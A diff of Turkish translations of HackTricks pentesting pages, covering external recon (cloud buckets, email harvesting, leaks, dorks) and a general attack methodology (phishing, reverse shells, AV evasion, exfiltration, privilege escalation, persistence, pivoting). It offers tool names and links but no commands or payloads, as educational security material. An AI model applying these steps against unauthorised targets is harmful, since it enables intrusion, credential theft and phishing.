Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Ayrıca, ardından tüm **ekran görüntülerini** taramak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar içerebilecek** olanları belirleyebilirsiniz.
 | 
			
		||||
Ayrıca, daha sonra **screenshot**'lar üzerinde çalışmak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar** içerebilecek olanları ve içermeyenleri belirleyebilirsiniz.
 | 
			
		||||
 | 
			
		||||
## Kamu Bulut Varlıkları
 | 
			
		||||
 | 
			
		||||
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan **anahtar kelimeler listesiyle başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 | 
			
		||||
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi** ile başlamalısınız. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 | 
			
		||||
 | 
			
		||||
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak:
 | 
			
		||||
 | 
			
		||||
@ -512,26 +512,26 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine
 | 
			
		||||
 | 
			
		||||
Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](#second-dns-bruteforce-round) bölümüne bakın).
 | 
			
		||||
 | 
			
		||||
Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
 | 
			
		||||
Elde edilen kelime listeleri ile [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
 | 
			
		||||
 | 
			
		||||
Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**.
 | 
			
		||||
 | 
			
		||||
### **Zayıf Noktaları Arama**
 | 
			
		||||
 | 
			
		||||
Açık kova veya maruz kalmış bulut işlevleri gibi şeyler bulursanız, **erişim sağlamalı** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
 | 
			
		||||
Açık kova veya maruz kalmış bulut işlevleri gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
 | 
			
		||||
 | 
			
		||||
## E-postalar
 | 
			
		||||
 | 
			
		||||
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
 | 
			
		||||
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için** ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
 | 
			
		||||
 | 
			
		||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
 | 
			
		||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile
 | 
			
		||||
- [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
 | 
			
		||||
- [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm)
 | 
			
		||||
- [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm)
 | 
			
		||||
 | 
			
		||||
### **Zayıf Noktaları Arama**
 | 
			
		||||
 | 
			
		||||
E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** kırmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
 | 
			
		||||
E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** denemek için faydalı olacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
 | 
			
		||||
 | 
			
		||||
## Kimlik Bilgisi Sızıntıları
 | 
			
		||||
 | 
			
		||||
@ -546,12 +546,12 @@ E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (S
 | 
			
		||||
 | 
			
		||||
## Gizli Bilgi Sızıntıları
 | 
			
		||||
 | 
			
		||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
 | 
			
		||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
 | 
			
		||||
 | 
			
		||||
### Github Sızıntıları
 | 
			
		||||
 | 
			
		||||
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\
 | 
			
		||||
Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
 | 
			
		||||
Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık repolarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
 | 
			
		||||
 | 
			
		||||
@ -565,14 +565,14 @@ github-leaked-secrets.md
 | 
			
		||||
 | 
			
		||||
### Paste Sızıntıları
 | 
			
		||||
 | 
			
		||||
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
 | 
			
		||||
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
 | 
			
		||||
Aynı anda 80'den fazla paste sitesinde arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### Google Dorks
 | 
			
		||||
 | 
			
		||||
Eski ama altın değerinde google dorks, **orada olmaması gereken maruz kalmış bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) **gibi bir araç kullanabilirsiniz**.
 | 
			
		||||
Eski ama altın değerindeki google dorks, **orada olmaması gereken** **maruz kalmış bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
 | 
			
		||||
_Not: Tüm veritabanını düzenli Google tarayıcısı kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
 | 
			
		||||
 | 
			
		||||
### **Zayıf Noktaları Arama**
 | 
			
		||||
 | 
			
		||||
@ -580,7 +580,7 @@ _Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalışt
 | 
			
		||||
 | 
			
		||||
## Kamu Kod Zayıflıkları
 | 
			
		||||
 | 
			
		||||
Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz.
 | 
			
		||||
Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır:
 | 
			
		||||
 | 
			
		||||
@ -588,19 +588,19 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edeb
 | 
			
		||||
../../network-services-pentesting/pentesting-web/code-review-tools.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
 | 
			
		||||
Ayrıca, **açık repoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
 | 
			
		||||
 | 
			
		||||
- [**Snyk**](https://app.snyk.io/)
 | 
			
		||||
 | 
			
		||||
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/)
 | 
			
		||||
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/index.html)
 | 
			
		||||
 | 
			
		||||
**Hata avcıları tarafından bulunan** **zayıf noktaların çoğunluğu**, **web uygulamalarının** içinde yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
 | 
			
		||||
**Hata avcıları tarafından bulunan zayıf noktaların** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/index.html).
 | 
			
		||||
 | 
			
		||||
Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
 | 
			
		||||
 | 
			
		||||
## Tekrar
 | 
			
		||||
 | 
			
		||||
> Tebrikler! Bu noktada **tüm temel sayım işlemlerini** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla sayım yapılabilir (daha fazla hile göreceğiz).
 | 
			
		||||
> Tebrikler! Bu noktada **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla numaralandırma yapılabilir (daha fazla hile göreceğiz).
 | 
			
		||||
 | 
			
		||||
Yani, zaten şunları buldunuz:
 | 
			
		||||
 | 
			
		||||
@ -612,11 +612,11 @@ Yani, zaten şunları buldunuz:
 | 
			
		||||
6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
 | 
			
		||||
7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz.
 | 
			
		||||
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
 | 
			
		||||
9. Bulduğunuz tüm **web sitelerini pentest ettiniz**
 | 
			
		||||
9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
 | 
			
		||||
 | 
			
		||||
## **Tam Recon Otomatik Araçlar**
 | 
			
		||||
 | 
			
		||||
Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır.
 | 
			
		||||
Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birkaç araç bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
 | 
			
		||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
 | 
			
		||||
 | 
			
		||||
@ -2,6 +2,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Pentesting Metodolojisi
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
@ -10,23 +11,23 @@ _Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
 | 
			
		||||
 | 
			
		||||
### 0- Fiziksel Saldırılar
 | 
			
		||||
 | 
			
		||||
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı ipuçları** ([**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md)) ve [**GUI uygulamalarından kaçış**](../hardware-physical-access/escaping-from-gui-applications.md) hakkında diğerlerini okumalısınız.
 | 
			
		||||
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı** [**ipuçlarını**](../hardware-physical-access/physical-attacks.md) ve **GUI uygulamalarından kaçış** hakkında diğerlerini okumalısınız. 
 | 
			
		||||
 | 
			
		||||
### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/)
 | 
			
		||||
### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/index.html)
 | 
			
		||||
 | 
			
		||||
**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) isteyebilirsiniz.
 | 
			
		||||
**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) ile ilgilenebilirsiniz.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız.
 | 
			
		||||
 | 
			
		||||
### **2-** [**Ağ ile Eğlenmek**](pentesting-network/) **(İçsel)**
 | 
			
		||||
### **2-** [**Ağ ile Eğlenmek**](pentesting-network/index.html) **(İçsel)**
 | 
			
		||||
 | 
			
		||||
**Bu bölüm yalnızca iç test yapıyorsanız geçerlidir.**\
 | 
			
		||||
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/index.html#sniffing) bölümünü okuyabilirsiniz.
 | 
			
		||||
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/index.html#sniffing) okuyabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### 3- [Port Taraması - Servis keşfi](pentesting-network/index.html#scanning-hosts)
 | 
			
		||||
 | 
			
		||||
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/index.html#scanning-hosts) kısmına bakalım.
 | 
			
		||||
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/index.html#scanning-hosts) bakalım.
 | 
			
		||||
 | 
			
		||||
### **4-** [Servis versiyon açıklarını aramak](../generic-hacking/search-exploits.md)
 | 
			
		||||
 | 
			
		||||
@ -34,32 +35,32 @@ Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten
 | 
			
		||||
 | 
			
		||||
### **5-** Pentesting Servisleri
 | 
			
		||||
 | 
			
		||||
Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her bir çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız.
 | 
			
		||||
Eğer çalışan bir servis için herhangi bir ilginç exploit yoksa, her çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız.
 | 
			
		||||
 | 
			
		||||
**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve diğer o kadar yaygın olmayanları). Lütfen, sol dizinde _**PENTESTING**_ **bölümünü** arayın (servisler varsayılan portlarına göre sıralanmıştır).
 | 
			
		||||
**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayanları da). Lütfen, sol dizinde **_PENTESTING_** bölümünü arayın (servisler varsayılan portlarına göre sıralanmıştır).
 | 
			
		||||
 | 
			
		||||
**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
 | 
			
		||||
Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/search-exploits.md) hakkında küçük bir kılavuz burada bulunmaktadır.
 | 
			
		||||
**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
 | 
			
		||||
Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
 | 
			
		||||
 | 
			
		||||
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimler için arama yapın ve **eklememi isterseniz bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
 | 
			
		||||
**Eğer servisinizi dizinde bulamazsanız, Google'da** diğer eğitimler için arama yapın ve **eklememi isterseniz bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
 | 
			
		||||
 | 
			
		||||
#### 5.1 Otomatik Araçlar
 | 
			
		||||
 | 
			
		||||
Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.**
 | 
			
		||||
Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.**
 | 
			
		||||
 | 
			
		||||
#### **5.2 Brute-Force ile servisleri zorlamak**
 | 
			
		||||
 | 
			
		||||
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet burada bulabilirsiniz**](../generic-hacking/brute-force.md)**.**
 | 
			
		||||
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulabilirsiniz**](../generic-hacking/brute-force.md)**.**
 | 
			
		||||
 | 
			
		||||
### 6- [Phishing](phishing-methodology/)
 | 
			
		||||
### 6- [Phishing](phishing-methodology/index.html)
 | 
			
		||||
 | 
			
		||||
Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
 | 
			
		||||
Bu noktada ilginç bir zafiyet bulamadıysanız, **ağa girmek için bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/index.html) okuyabilirsiniz:
 | 
			
		||||
 | 
			
		||||
### **7-** [**Shell Elde Etmek**](../generic-hacking/reverse-shells/)
 | 
			
		||||
### **7-** [**Shell Elde Etmek**](../generic-hacking/reverse-shells/index.html)
 | 
			
		||||
 | 
			
		||||
Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesi çok faydalı olacaktır](../generic-hacking/reverse-shells/).
 | 
			
		||||
Bir şekilde, **kurban üzerinde kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesinin çok faydalı olacağını](../generic-hacking/reverse-shells/index.html) göreceksiniz.
 | 
			
		||||
 | 
			
		||||
Özellikle Windows'ta **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\
 | 
			
		||||
Özellikle Windows'ta, **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\
 | 
			
		||||
 | 
			
		||||
### 8- İçeride
 | 
			
		||||
 | 
			
		||||
@ -67,63 +68,63 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların
 | 
			
		||||
 | 
			
		||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
 | 
			
		||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
 | 
			
		||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
 | 
			
		||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 | 
			
		||||
 | 
			
		||||
### **9 -** [**Veri Sızdırma**](../generic-hacking/exfiltration.md)
 | 
			
		||||
 | 
			
		||||
Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** (örneğin, ayrıcalık yükseltme betikleri) gerekecektir. **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](../generic-hacking/exfiltration.md)**.**
 | 
			
		||||
Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** (örneğin ayrıcalık yükseltme betikleri) gerekecektir. **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](../generic-hacking/exfiltration.md)**.**
 | 
			
		||||
 | 
			
		||||
### **10- Ayrıcalık Yükseltme**
 | 
			
		||||
 | 
			
		||||
#### **10.1- Yerel Privesc**
 | 
			
		||||
 | 
			
		||||
Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
 | 
			
		||||
Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** ([**Linux**](../linux-hardening/privilege-escalation/)) ve **Windows'ta** ([**Windows**](../windows-hardening/windows-local-privilege-escalation/)) bulabilirsiniz.\
 | 
			
		||||
Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
 | 
			
		||||
Eğer kutuda **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
 | 
			
		||||
Burada **Linux'ta** [**yerel ayrıcalıkları yükseltmek için bir kılavuz**](../linux-hardening/privilege-escalation/index.html) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/index.html)** bulabilirsiniz.**\
 | 
			
		||||
Ayrıca, **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
 | 
			
		||||
 | 
			
		||||
- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
 | 
			
		||||
- [**NTLM nasıl çalışır**](../windows-hardening/ntlm/)
 | 
			
		||||
- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
 | 
			
		||||
- [**NTLM nasıl çalışır**](../windows-hardening/ntlm/index.html)
 | 
			
		||||
- Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları
 | 
			
		||||
- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
 | 
			
		||||
- [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) hakkında bazı ipuçları
 | 
			
		||||
 | 
			
		||||
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 | 
			
		||||
 | 
			
		||||
#### **10.2- Alan Privesc**
 | 
			
		||||
 | 
			
		||||
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
 | 
			
		||||
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/index.html) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
 | 
			
		||||
 | 
			
		||||
### 11 - POST
 | 
			
		||||
 | 
			
		||||
#### **11**.1 - Yağmalama
 | 
			
		||||
 | 
			
		||||
Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz** olup olmadığını kontrol edin.\
 | 
			
		||||
Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz olup olmadığını** kontrol edin.\
 | 
			
		||||
Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz.
 | 
			
		||||
 | 
			
		||||
#### 11.2 - Kalıcılık
 | 
			
		||||
 | 
			
		||||
**Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\
 | 
			
		||||
**Burada bazı** [**active directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/index.html#persistence)** bulabilirsiniz.**
 | 
			
		||||
**Burada bazı** [**Active Directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/index.html#persistence)** bulabilirsiniz.**
 | 
			
		||||
 | 
			
		||||
TODO: Windows & Linux'ta kalıcılık Post'unu tamamla
 | 
			
		||||
TODO: Windows & Linux'ta kalıcılık Postunu tamamla
 | 
			
		||||
 | 
			
		||||
### 12 - Pivoting
 | 
			
		||||
### 12 - Pivotlama
 | 
			
		||||
 | 
			
		||||
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmeniz ve taramanız** (Pentesting Metodolojisini yeniden başlatın) gerekebilir.\
 | 
			
		||||
Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\
 | 
			
		||||
Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
 | 
			
		||||
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir.
 | 
			
		||||
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız vardır.\
 | 
			
		||||
